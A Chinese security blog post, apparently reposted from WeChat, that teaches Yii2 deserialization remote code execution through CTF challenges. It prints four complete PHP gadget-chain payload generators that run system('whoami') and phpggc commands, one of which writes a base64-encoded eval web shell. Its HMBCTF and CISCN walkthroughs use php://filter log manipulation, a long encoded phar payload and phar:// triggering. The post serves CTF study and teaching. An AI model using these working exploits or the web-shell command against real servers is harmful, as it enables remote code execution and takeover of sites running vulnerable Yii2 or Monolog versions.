通过几道CTF题学习yii2框架

通过几道CTF题学习yii2框架
2021-06-10 18:30:00 Author: mp.weixin.qq.com(查看原文) 阅读量:155 收藏

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简介

Yii是一套基于组件、用于开发大型 Web 应用的高性能 PHP 框架，Yii2 2.0.38 之前的版本存在反序列化漏洞，程序在调用unserialize()时，攻击者可通过构造特定的恶意请求执行任意命令，本篇就分析一下yii2利用链以及如何自己去构造payload，并结合CTF题目去学习yii2框架

Yii2＜2.0.38反序列化

安装：在 https://github.com/yiisoft/yii2/releases 下载2.0.37的版本

然后在 yii-basic-app-2.0.37\basic\config\web.php里面往cookieValidationKey随意给点值，运行 php yii serve，新建一个控制器

yii-basic-app-2.0.37\basic\controllers\TestController.php

<?phpnamespace app\controllers;use yii\web\Controller;
class TestController extends Controller{    public function actionTest($name){        return unserialize($name);    }}

就可以进行测试了

?r=test/test&name=

链一

链的入口在

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php

public function __destruct(){        // make sure cursor is closed        $this->reset();    }

跟进$this->reset();

public function reset(){        if ($this->_dataReader !== null) {            $this->_dataReader->close();        }

这里的$this->_dataReader可控，并调用了close()方法，那么可以找到一个类不存在close()方法，但存在__call方法就可以调用他了

在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php

public function __call($method, $attributes){        return $this->format($method, $attributes);    }

这里的$method为close，$attributes为空，继续跟进format

public function format($formatter, $arguments = array()){        return call_user_func_array($this->getFormatter($formatter), $arguments);    }

跟进getFormatter

public function getFormatter($formatter){        if (isset($this->formatters[$formatter])) {            return $this->formatters[$formatter];        }

似曾相识的代码，laravel5.8某条链就出现过，这里$this->formatters可控，也就是$this->getFormatter($formatter)这这个可控，但是$arguments的值我们无法控制，值为空

到这里可以执行phpinfo了

<?phpnamespace yii\db{ class BatchQueryResult{  private $_dataReader;  public function __construct($_dataReader) {   $this->_dataReader = $_dataReader;  } }}namespace Faker{ class Generator{  protected $formatters = array();  public function __construct($formatters) {   $this->formatters = $formatters;  } }}namespace { $a = new Faker\Generator(array('close'=>'phpinfo')); $b = new yii\db\BatchQueryResult($a); print(urlencode(serialize($b)));}

但是我们想要rce的话，还要在yii2中已有的无参方法中进行挖掘

这里我们可以使用正则匹配直接搜索含有call_user_function的无参函数

call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)

然后找到下面两个都比较好用

yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.phppublic function run(){        if ($this->checkAccess) {            call_user_func($this->checkAccess, $this->id);        }
        return $this->prepareDataProvider();    }
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.phppublic function run(){    if ($this->checkAccess) {        call_user_func($this->checkAccess, $this->id);}

这里的$this->checkAccess和$this->id都是我们可控的

所以直接构造就行了

<?phpnamespace yii\db{ class BatchQueryResult{  private $_dataReader;  public function __construct($_dataReader) {   $this->_dataReader = $_dataReader;  } }}namespace Faker{ class Generator{  protected $formatters = array();  public function __construct($formatters) {   $this->formatters = $formatters;  } }}namespace yii\rest{ class CreateAction{  public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;  } }}namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('close'=>array($c, 'run'))); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a)));}

链二

这个是yii2 2.0.37的另外一条链

起点和链一相同，是BatchQueryResult类的__destruct，然后是$this->_dataReader->close()，但是这里不找__call，我们去找存在close方法的类

找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php

class DbSession extends MultiFieldSession{...public function close(){        if ($this->getIsActive()) {            // prepare writeCallback fields before session closes            $this->fields = $this->composeFields();

这里跟进$this->composeFields()

abstract class MultiFieldSession extends Session{protected function composeFields($id = null, $data = null){        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];

这里$this->writeCallback可控，$this是一个对象，所以这里调phpinfo的话应该不行，不过可以续上链一的run方法（即那个无参的方法）

这里直接构造即可



<?phpnamespace yii\db{    class BatchQueryResult{        private $_dataReader;        public function __construct($_dataReader) {            $this->_dataReader = $_dataReader;        }    }}namespace yii\web{    class DbSession{        public $writeCallback;        public function __construct($writeCallback) {            $this->writeCallback = $writeCallback;        }    }}namespace yii\rest{    class CreateAction{        public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;        }    }}namespace {    $c = new yii\rest\CreateAction('system','whoami');    $b = new yii\web\DbSession(array($c, 'run'));    $a = new yii\db\BatchQueryResult($b);    print(urlencode(serialize($a)));}

链三

我们可以在yii2 2.0.38的commit看到他加了一个__wakeup

这里限制了链一的起点BatchQueryResult无法使用，后面的__call的链没有被破坏，所以我们继续寻找一个__destruct

yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php

public function __destruct(){        $this->stopProcess();    }

这里继续跟进stopProcess

public function stopProcess(){        foreach (array_reverse($this->processes) as $process) {            /** @var $process Process  **/            if (!$process->isRunning()) {                continue;            }

这里的$this->processes可控，所以可以利用$process->isRunning()来进行触发__call

后面的利用就和链一相同了



<?phpnamespace Codeception\Extension{ class RunProcess{  private $processes = [];  public function __construct($processes) {   $this->processes[] = $processes;  } }}namespace Faker{ class Generator{  protected $formatters = array();  public function __construct($formatters) {   $this->formatters = $formatters;  } }}namespace yii\rest{ class CreateAction{  public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;  } }}namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('isRunning'=>array($c, 'run'))); $a = new Codeception\Extension\RunProcess($b); print(urlencode(serialize($a)));}

链四

同样的先找__destruct

yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php

public function __destruct(){        foreach ($this->keys as $nsKey => $null) {            $this->clearAll($nsKey);        }    }

这里$nsKey可控，跟进clearAll

public function clearAll($nsKey){        if (array_key_exists($nsKey, $this->keys)) {            foreach ($this->keys[$nsKey] as $itemKey => $null) {                $this->clearKey($nsKey, $itemKey);            }            if (is_dir($this->path.'/'.$nsKey)) {                rmdir($this->path.'/'.$nsKey);            }            unset($this->keys[$nsKey]);        }    }

这里没有触发__call的地方，但是存在字符串的拼接，可以触发__toString

随便找找就找到了

yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php

public function __toString(){    return $this->__dom__->saveXML();}

同样用他去触发__call

<?phpnamespace {    class Swift_KeyCache_DiskKeyCache{        private $path;        private $keys = [];        public function __construct($path,$keys) {            $this->path = $path;            $this->keys = $keys;        }    }}namespace Codeception\Util{    class XmlBuilder{        protected $__dom__;        public function __construct($__dom__) {            $this->__dom__ = $__dom__;        }    }}namespace Faker{    class Generator{        protected $formatters = array();        public function __construct($formatters) {            $this->formatters = $formatters;        }    }}namespace yii\rest{    class CreateAction{        public $checkAccess;        public $id;        public function __construct($checkAccess,$id){            $this->checkAccess = $checkAccess;            $this->id = $id;        }    }}namespace {    $c = new yii\rest\CreateAction('system','whoami');    $b = new Faker\Generator(array('saveXML'=>array($c,'run')));    $a = new Codeception\Util\XmlBuilder($b);    $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi'));    print(urlencode(serialize($d)));}

phpggc

使用./phpggc -l yii2可以看到有两条yii2的链

可以使用如下命令快速得到链，-u指url编码

./phpggc Yii2/RCE1 system id -u

phpggc的链二的终点是一个eval，所以这里可以直接写shell，-b指base64编码

./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b

CTF题目

[HMBCTF 2021]framework

把题目附件解压，看到html\controllers\SiteController.php

class SiteController extends Controller{    public function actionAbout($message = 'Hello'){        $data = base64_decode($message);        unserialize($data);    }

这里可以这样传参

?r=site/about&message=

拿链一打了一下，发现一下system等函数被ban

这里用phpggc yii2的链二写一个shell进去，然后用蚁剑的 apache/mod 绕 disable，运行 /readflag 即可获取 flag

[CISCN2021 Quals]filter

据说这是配置文件里面的重要内容，或许对你有用！！

        'log' => [            'traceLevel' => YII_DEBUG ? 0 : 0,            'targets' => [                [                    'class' => 'yii\log\FileTarget',                    'levels' => ['error'],                    'logVars' => [],                ],            ],        ],

看到附件的SiteController.php就改了这个地方

public function actionIndex(){        $file = Yii::$app->request->get('file');        $res = file_get_contents($file);        file_put_contents($file,$res);        return $this->render('index');    }

yii框架的runtime/logs目录下有一个app.log

看一下依赖发现monolog符合

"require": {        "php": ">=5.6.0",        "yiisoft/yii2": "~2.0.14",        "yiisoft/yii2-bootstrap": "~2.0.0",        "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0", "monolog/monolog":"1.19"    },

首先清空日志文件

?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

phpggc生成

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output |base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

写入日志，注意最后面要加个字符a

/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=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保留phar的内容

/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log

最后用phar协议打一下

/?file=phar://../runtime/logs/app.log/test.txt

然后在根目录找到This_is_flaaagggg

然后用这个找一下flag即可

php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"

实操推荐

PHP反序列化漏洞：（复制链接体验）

https://www.hetianlab.com/expc.doec=ECID172.19.104.182016010714511600001&pk_campaign=weixin-wemedia#stu

通过本次实验，大家将会明白什么是反序列化漏洞，反序列化漏洞的成因以及如何挖掘和预防此类漏洞。

戳阅读原文，体验免费靶场！

文章来源: http://mp.weixin.qq.com/s?__biz=MjM5MTYxNjQxOA==&mid=2652876810&idx=1&sn=9d9fdb4d126080d3f4c72e4291a2b244&chksm=bd59ccc78a2e45d12f49265b066d04d814bb00b936473099b319b0aef9ef2d4d46082ac7e579#rd
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